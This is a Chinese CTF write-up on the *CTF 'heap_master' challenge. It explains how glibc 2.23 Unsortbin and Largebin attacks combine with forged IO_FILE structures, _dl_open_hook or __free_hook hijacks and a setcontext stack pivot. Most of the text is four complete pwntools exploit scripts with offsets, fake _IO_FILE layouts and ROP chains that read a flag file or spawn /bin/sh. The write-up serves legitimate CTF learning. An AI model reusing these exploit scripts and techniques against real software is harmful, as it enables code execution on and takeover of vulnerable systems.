作者:V1NKe
來源:https://xz.aliyun.com/t/5267
前言:
最近在學習的過程中,遇到一個很有趣的東西,就是IO_FILE和Largebin Unsortbin attack的結合利用,這個技巧能延伸出來很多種利用方式。
正文:
就拿最近的*CTF上的heap_master來舉例。
因為本文主講利用技巧,所以具體程序分析這里就略過了。程序在mmap區域上對堆進行增刪改,所以要想構造利用,就得在mmap區域上構造chunk。以下均在libc-2.23環境下進行。
漏洞點:
有一個類似于UAF的漏洞點。
利用初探:
程序沒有show函數,那么便很容易想到用修改stdout的方式來泄漏,那么該怎么去修改呢,從UAF角度分析,可以利用UAF來達到Unsortbin attack和Largebin attack。
利用思考:
Unsortbin attack只能任意地址寫一個libc地址的值,該如何把這一次任意寫利用最大化呢,那么就是修改global_max_fast。這樣我們就可以得到glibc上的任意地址寫堆地址,因為很大的chunk都變成了fastbin,因此越界了規定內的fastbin_index,導致可以在任意寫堆地址。
用圖來表示就是:

所以可以任意寫堆地址。
我們可以覆蓋stdout,使得stdout指向我們的mmap空間,并且我們事先在mmap空間構造好_IO_2_1_stdout,導致在打印出程序菜單之前先泄漏了地址。結果為這樣:

如圖0x57e5c100開始就是我們事先構造好的_IO_2_1_stdout,有的人或許會想問,0x7f那些地址怎么來的?很簡單,事先構造0x91的chunk,free后又add,即可得到libc上的地址,再把低位雙字節改成_IO_2_1_stdout上的內容,就有1/16的概率能夠撞到。
泄漏出來:

泄漏出地址了,下一步便是劫持程序流了。
這里我們可以利用2.24版本后的IO_FILE利用,先劫持_IO_list_all,再接著構造_IO_list_all,觸發_IO_flush_all_lockp。
覆蓋就很容易了,跟前面所覆蓋的stdout一樣,而構造過程需要根據后續調用來構造了。我們需要觸發_IO_str_jumps上的overflow。通過以下代碼來劫持:
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)// pass
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // pass
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)//pass 一般會通過
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
劫持程序流:
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
我們所需要bypass的幾個條件:
1. fp->_flags & _IO_NO_WRITES為假
2. fp->_flags & _IO_USER_BUF(0x01)為假
3. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能為負數
4. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 這里是劫持到的函數的rdi,即第一參數
5. fp+0xe0指向需要劫持到的函數
這里我們已經可以控制rip和rdi了,我構造如下:
_IO_FILE = ( p64(0) +
p64(0)*3 +
p64(0) + # write_base
p64(0x7fffffffffffffff) + # write_ptr
p64(0xdadaddaaddddaaaa) +
p64(0) + # buf_base
p64((morecore - 100) / 2) + # rdi buf_end
p64(0xdadaddaaddddaaaa)*11 +
p64(0) + # + 0xa8
p64(0xdadaddaaddddaaaa)*6 +
p64(IO_str_j) + # + 0xd8
p64(setcontext))
但是單單控制了rip和rdi還不夠,我們還需要把棧空間給轉移到mmap上來。
觀察上面可以看到,我們先把程序流劫持到這里來:
0x00007f20066f4b75 <+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x00007f20066f4b7c <+60>: mov rbx,QWORD PTR [rdi+0x80]
0x00007f20066f4b83 <+67>: mov rbp,QWORD PTR [rdi+0x78]
0x00007f20066f4b87 <+71>: mov r12,QWORD PTR [rdi+0x48]
0x00007f20066f4b8b <+75>: mov r13,QWORD PTR [rdi+0x50]
0x00007f20066f4b8f <+79>: mov r14,QWORD PTR [rdi+0x58]
0x00007f20066f4b93 <+83>: mov r15,QWORD PTR [rdi+0x60]
0x00007f20066f4b97 <+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x00007f20066f4b9e <+94>: push rcx
0x00007f20066f4b9f <+95>: mov rsi,QWORD PTR [rdi+0x70]
0x00007f20066f4ba3 <+99>: mov rdx,QWORD PTR [rdi+0x88]
0x00007f20066f4baa <+106>: mov rcx,QWORD PTR [rdi+0x98]
0x00007f20066f4bb1 <+113>: mov r8,QWORD PTR [rdi+0x28]
0x00007f20066f4bb5 <+117>: mov r9,QWORD PTR [rdi+0x30]
0x00007f20066f4bb9 <+121>: mov rdi,QWORD PTR [rdi+0x68]
0x00007f20066f4bbd <+125>: xor eax,eax
0x00007f20066f4bbf <+127>: ret
從第一條語句我們就可以轉移棧空間,因為rdi我們可控。中間的rcx可以用__morecore維持平衡。
最后棧會成功轉移到我們的mmap區域來,所以事先在mmap區域構造好ROP即可劫持整個程序流。
利用延伸:
延伸點1:
可以有別的劫持流嗎?當然可以。
我們還可以不劫持_IO_list_all,換個方式,劫持_dl_open_hook。
_dl_open_hook是怎么個說法呢?它跟__free_hook類似,但是又不一樣,區別就在于當它不為NULL時,執行的是**_dl_open_hook,而__free_hook是執行*__free_hook。觸發條件是當malloc或free出錯時。
當執行到**_dl_open_hook時,rax存的就是*_dl_open_hook,即堆地址。所以我找到了這么一處gadgets:
=> 0x00007fd2f8d9a98a <+170>: mov rdi,rax
0x00007fd2f8d9a98d <+173>: call QWORD PTR [rax+0x20]
這樣,我們也控制了rdi,往后可以構造劫持到上面所說的轉移棧空間的那處gadgets。后面的流程也一樣了。
延伸點2:
那么largebin attack呢?
largebin attack實際上也是任意地址修改為堆地址,發生的鏈表修改操作為:
fwd->bk_nextsize->fd_nextsize = victim;
fwd->bk->fd = victim;
通過調試可知這里的任意修改為第二條,每次largebin attack可任意修改一次為堆地址。實質上跟unsortbin attack沒有太大的區別,只是修改方式不一樣。
但是這里可以換一種方式泄漏libc地址。
可以去修改_IO_2_1_stdout的_flag為堆地址。因為flag滿足一定的條件時,就可以泄漏:
if fp->flag & 0xa00 == 1 and fp->flag & 0x1000 == 1 then it will leak something when f->write_base != f->write_ptr
這里也是有一定概率的。除了修改完_flag之后,還需要覆蓋write_base的最低一個字節為\x00,這時候可以錯位覆蓋:

兩處地方修改完之后的情況:

即可泄漏出地址。
往后的劫持程序流跟上面所說的一樣,既可以劫持_dl_open_hook也可以劫持_IO_list_all。
延伸點3:
還可以如何劫持程序流程?可以劫持__free_hook。
大致流程就是用largebin attack泄漏出地址后(跟上面延伸2一致),再用largebin attack修改global_max_fast。這樣就可以來利用fastbin_index_overflow了。
覆蓋__free_hook為堆地址之后,修改該堆地址所對應的chunk的fd指針為system地址。這樣當把他add取出之后,__free_hook地址就變為了system的地址:

delete之后即可觸發。
當然了,__malloc_hook、__relloc_hook等等也是一樣的。
利用總結:
題目還是很新穎的,從普通堆空間轉化到了mmap區域上的堆空間來。可以大膽的去想思路,上面的有些思路仔細想的話其實還是很巧妙的,不管是從找gadgets和整個劫持程序流程的構造來說都很巧妙,能夠把幾種思路都去試著練習一下還是能夠收獲到很多東西的,思路上、或者是構造利用上。而且上面的幾種方式交叉組合一下利用,還能有著多種方式。
Reference:
- https://balsn.tw/ctf_writeup/20190427-*ctf/#heap-master
- https://xz.aliyun.com/t/2411
- https://xz.aliyun.com/t/5006#toc-15
- https://github.com/sixstars/starctf2019/blob/master/pwn-heap_master/hack.py
EXP:
1. Unsortbin attack + _IO_list_all
from pwn import *
elf = ELF('./heap_master')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'
def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))
def edit(off,cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)
def delete(off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))
def exp():
for i in range(0xe):
edit(0xf8 + i*0x10,p64(0x201))
for i in range(0x10):
edit(0x2f8 + i*0x10,p64(0x21))
for i in range(0xd):
delete(0x1d0-i*0x10)
add(0x1f0)
edit(0x100, p64(0xfbad1800) + p16(0x26a3))
edit(0x110,p16(0x26a3))
edit(0x118,p16(0x26a3))
edit(0x120,p16(0x2618))
edit(0x128,p16(0x26a3))
edit(0x130,p16(0x26a3))
edit(0x138,p16(0x26a3))
edit(0x140,p16(0x26a3))
edit(0x148, p64(0)*4 + p16(0x18e0))
edit(0x170, p64(1) + p64(0xffffffffffffffff) + p64(0xa000000) + p16(0x3780))
edit(0x190, p64(0xffffffffffffffff) + p64(0) + p16(0x17a0))
edit(0x1a8,p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 + p16(0x06e0))
edit(0x1008,p64(0x91))
edit(0x1098,p64(0x21))
edit(0x10b8,p64(0x21))
#edit(0x1148,p64(0x21))
delete(0x1010)
edit(0x1018,p16(0x37f8-0x10)) # unsortbin attack global_max_fast
add(0x80)
edit(0x108,p64(0x17e1))
edit(0x18e8,p64(0x21))
edit(0x1908,p64(0x21))
delete(0x110)
data = u64(p.recv(6).ljust(8,'\x00'))
libc_base = data - 3946208
log.success('libc_base is :'+hex(libc_base))
IO_str_j = libc_base + libc.symbols['_IO_file_jumps']+0xc0
morecore = libc_base + libc.symbols['__morecore'] - 8 - 0xa0
setcontext = libc_base + 293749
_IO_FILE = ( p64(0) +
p64(0)*3 +
p64(0) + # + 0x20 write_base
p64(0x7fffffffffffffff) + # write_ptr
p64(0xdadaddaaddddaaaa) +
p64(0) + # + 0x38 buf_base
p64((morecore - 100) / 2) + # rdi buf_end
p64(0xdadaddaaddddaaaa)*11 +
p64(0) +
p64(0xdadaddaaddddaaaa)*6 +
p64(IO_str_j) + # + 0xd8
p64(setcontext))
edit(0x2008,p64(0x1411))
edit(0x3418,p64(0x21))
delete(0x2010) # modify _IO_list_all to mmap+0x2000
#gdb.attach(p)
edit(0x2000,_IO_FILE)
edit(0x3008,p64(0x1121)) # modify __morecore-8 to mmap+0x3000
edit(0x4128,p64(0x21))
delete(0x3010)
pop_rax = libc_base + 0x0000000000033544
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
syscall = libc_base + 0x00000000000bc375
buf = libc_base + 3954496
rop = (p64(pop_rax) + p64(0) + # read "/flag" ; open read write
p64(pop_rdi) + p64(0) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(0x100) +
p64(syscall) +
p64(pop_rax) + p64(2) +
p64(pop_rdi) + p64(buf) +
p64(pop_rsi) + p64(0) +
p64(pop_rdx) + p64(0) +
p64(syscall) +
p64(pop_rax) + p64(0) +
p64(pop_rdi) + p64(3) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(100) +
p64(syscall) +
p64(pop_rax) + p64(1) +
p64(pop_rdi) + p64(1) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(100) +
p64(syscall))
edit(0x3000,rop)
p.sendline("A") # trigger on exit()
time.sleep(0.1)
p.send("./flag\x00")
p.interactive()
if __name__ == '__main__' :
pd = 1
while pd:
try :
p = process('./heap_master')
exp()
pd = 0
except Exception :
p.close()
pass
2. Unsortbin attack + _dl_open_hook
from pwn import *
elf = ELF('./heap_master')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'
def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))
def edit(off,cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)
def delete(off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))
def exp():
for i in range(0xe):
edit(0xf8 + i*0x10,p64(0x201))
for i in range(0x10):
edit(0x2f8 + i*0x10,p64(0x21))
for i in range(0xd):
delete(0x1d0-i*0x10)
add(0x1f0)
edit(0x100, p64(0xfbad1800) + p16(0x26a3))
edit(0x110,p16(0x26a3))
edit(0x118,p16(0x26a3))
edit(0x120,p16(0x2618))
edit(0x128,p16(0x2710))
edit(0x130,p16(0x26a3))
edit(0x138,p16(0x26a3))
edit(0x140,p16(0x26a3))
edit(0x148, p64(0)*4 + p16(0x18e0))
edit(0x170, p64(1) + p64(0xffffffffffffffff) + p64(0xa000000) + p16(0x3780))
edit(0x190, p64(0xffffffffffffffff) + p64(0) + p16(0x17a0))
edit(0x1a8,p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 + p16(0x06e0))
edit(0x1008,p64(0x91))
edit(0x1098,p64(0x21))
edit(0x10b8,p64(0x21))
#edit(0x1148,p64(0x21))
delete(0x1010)
edit(0x1018,p16(0x37f8-0x10)) # unsortbin attack global_max_fast
add(0x80)
edit(0x108,p64(0x17e1))
edit(0x18e8,p64(0x21))
edit(0x1908,p64(0x21))
delete(0x110)
data = u64(p.recv(6).ljust(8,'\x00'))
data2 = p.recvuntil('===')
data2 = data2[-11:-7]
#print data2
data2 = u64(data2.ljust(8,'\x00'))
vmmap_base = data2 - 256
libc_base = data - 3946208
log.success('libc_base is :'+hex(libc_base))
log.success('vmmap_base is :'+hex(vmmap_base))
setcontext = libc_base + 293749
edit(0x2008,p64(0x8f91))
edit(0xaf98,p64(0x21))
delete(0x2010) # modify _dl_open_hook to mmap+0x2000
edit(0x2000,p64(libc_base+0x6D98A))
'''
=> 0x00007fd2f8d9a98a <+170>: mov rdi,rax
0x00007fd2f8d9a98d <+173>: call QWORD PTR [rax+0x20]
'''
#gdb.attach(p,'b *'+str(libc_base+0x6D98A))
edit(0x2020,p64(setcontext))
edit(0x20a0,p64(vmmap_base+0x20b0))
edit(0x20a8,p64(libc_base+0x0000000000000937))
pop_rax = libc_base + 0x0000000000033544
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
syscall = libc_base + 0x00000000000bc375
#buf = libc_base + 3954496
buf = libc_base + 3954496+0x20
rop = (p64(pop_rax) + p64(0) + # read "/flag" ; open read write
p64(pop_rdi) + p64(0) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(0x100) +
p64(syscall) +
p64(pop_rax) + p64(2) +
p64(pop_rdi) + p64(buf) +
p64(pop_rsi) + p64(0) +
p64(pop_rdx) + p64(0) +
p64(syscall) +
p64(pop_rax) + p64(0) +
p64(pop_rdi) + p64(4) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(100) +
p64(syscall) +
p64(pop_rax) + p64(1) +
p64(pop_rdi) + p64(1) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(100) +
p64(syscall))
edit(0x20b0,rop)
#gdb.attach(p)
add(0x20)
time.sleep(0.1)
p.send("./flag\x00")
p.interactive()
if __name__ == '__main__' :
pd = 1
while pd:
try :
p = process('./heap_master')
exp()
pd = 0
except Exception :
p.close()
pass
3. Largebin attack + _dl_open_hook
from pwn import *
elf = ELF('./heap_master')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'
def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))
def edit(off,cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)
def delete(off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))
def exp():
edit(0x108,p64(0x401)) #fake first large chunk
edit(0x508,p64(0x21))
edit(0x528,p64(0x21))
delete(0x110)
add(0x400)
edit(0x608,p64(0x411))
edit(0x608+0x410,p64(0x21))
edit(0x608+0x430,p64(0x21))
delete(0x610)
edit(0x118,p16(0x2610)) #modify stdout_flag --> mmap_addr
add(0x410)
edit(0x1008,p64(0x451)) #fake second large chunk
edit(0x1458,p64(0x21))
edit(0x1478,p64(0x21))
delete(0x1010)
add(0x450)
edit(0x1508,p64(0x461))
edit(0x1968,p64(0x21))
edit(0x1988,p64(0x21))
delete(0x1510)
edit(0x1018,p16(0x2629)) #modify io_write_base_one_byte --> '\x00'
add(0x460)
data = p.recv(8,timeout=1)
if data == '' or data[0] == '=' :
raise NameError
else :
pass
p.recv(24)
data1 = u64(p.recv(8))
data2 = u64(p.recv(6).ljust(8,'\x00'))
heap_base = data1 - 3584
libc_base = data2 - 3954339
setcontext = libc_base + 293749
print hex(heap_base),hex(libc_base)
edit(0x2008,p64(0x501))
edit(0x2508,p64(0x21))
edit(0x2528,p64(0x21))
delete(0x2010)
add(0x500)
edit(0x2608,p64(0x511))
edit(0x2b18,p64(0x21))
edit(0x2b38,p64(0x21))
delete(0x2610)
edit(0x2018,p16(0x62d0))
add(0x510)
#gdb.attach(p)
pop_rax = libc_base + 0x0000000000033544
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
syscall = libc_base + 0x00000000000bc375
edit(0x2600,p64(libc_base+0x6D98A))
edit(0x2620,p64(setcontext))
edit(0x26a0,p64(heap_base+0x26b0))
edit(0x26a8,p64(libc_base+0x0000000000000937)) #ret
edit(0x26b0,p64(pop_rax)) #read
edit(0x26b8,p64(0))
edit(0x26c0,p64(pop_rdi))
edit(0x26c8,p64(0))
edit(0x26d0,p64(pop_rsi))
edit(0x26d8,p64(heap_base))
edit(0x26e0,p64(pop_rdx))
edit(0x26e8,p64(20))
edit(0x26f0,p64(syscall))
edit(0x26f8,p64(pop_rax)) #open
edit(0x2700,p64(2))
edit(0x2708,p64(pop_rdi))
edit(0x2710,p64(heap_base))
edit(0x2718,p64(pop_rsi))
edit(0x2720,p64(0))
edit(0x2728,p64(pop_rdx))
edit(0x2730,p64(0))
edit(0x2738,p64(syscall))
edit(0x2740,p64(pop_rax)) #read
edit(0x2748,p64(0))
edit(0x2750,p64(pop_rdi))
edit(0x2758,p64(4))
edit(0x2760,p64(pop_rsi))
edit(0x2768,p64(heap_base))
edit(0x2770,p64(pop_rdx))
edit(0x2778,p64(0x20))
edit(0x2780,p64(syscall))
edit(0x2788,p64(pop_rax)) #write
edit(0x2790,p64(1))
edit(0x2798,p64(pop_rdi))
edit(0x27a0,p64(1))
edit(0x27a8,p64(pop_rsi))
edit(0x27b0,p64(heap_base))
edit(0x27b8,p64(pop_rdx))
edit(0x27c0,p64(0x20))
edit(0x27c8,p64(syscall))
delete(0x2b20)
delete(0x2b20)
p.send('./flag\x00')
p.interactive()
if __name__ == '__main__' :
pd = 1
while pd:
try :
p = process('./heap_master')
exp()
pd = 0
except Exception as e:
print e
p.close()
pass
4. Largebin attack + __free_hook
from pwn import *
elf = ELF('./heap_master')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'
def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))
def edit(off,cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)
def delete(off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))
def exp():
edit(0x108,p64(0x401)) #fake first large chunk
edit(0x508,p64(0x21))
edit(0x528,p64(0x21))
delete(0x110)
add(0x400)
edit(0x608,p64(0x411))
edit(0x608+0x410,p64(0x21))
edit(0x608+0x430,p64(0x21))
delete(0x610)
edit(0x118,p16(0x2610)) #modify stdout_flag --> mmap_addr
add(0x410)
edit(0x1008,p64(0x451)) #fake second large chunk
edit(0x1458,p64(0x21))
edit(0x1478,p64(0x21))
delete(0x1010)
add(0x450)
edit(0x1508,p64(0x461))
edit(0x1968,p64(0x21))
edit(0x1988,p64(0x21))
delete(0x1510)
edit(0x1018,p16(0x2629)) #modify io_write_base_one_byte --> '\x00'
add(0x460)
data = p.recv(8,timeout=1)
if data == '' or data[0] == '=' :
raise NameError
else :
pass
p.recv(24)
data1 = u64(p.recv(8))
data2 = u64(p.recv(6).ljust(8,'\x00'))
heap_base = data1 - 3584
libc_base = data2 - 3954339
system_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + libc.search('/bin/sh').next()
edit(0x2008,p64(0x501)) #fake third large chunk
edit(0x2508,p64(0x21))
edit(0x2528,p64(0x21))
delete(0x2010)
add(0x500)
edit(0x2608,p64(0x511))
edit(0x2b18,p64(0x21))
edit(0x2b38,p64(0x21))
delete(0x2610)
edit(0x2018,p16(0x37e8)) #modify global_max_fast
add(0x510)
edit(0x3008,p64(0x3921))
edit(0x3008+0x3920,p64(0x21))
delete(0x3010)
edit(0x3010,p64(system_addr))#modify fastbin->fd --> system
add(0x3918)
#gdb.attach(p)
edit(0x4008,p64(0x21))
edit(0x4010,'/bin/sh')
edit(0x4028,p64(0x21))
delete(0x4010)
p.interactive()
if __name__ == '__main__' :
pd = 1
while pd:
try :
p = process('./heap_master')
exp()
pd = 0
except Exception as e:
print e
p.close()
pass
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/935/
暫無評論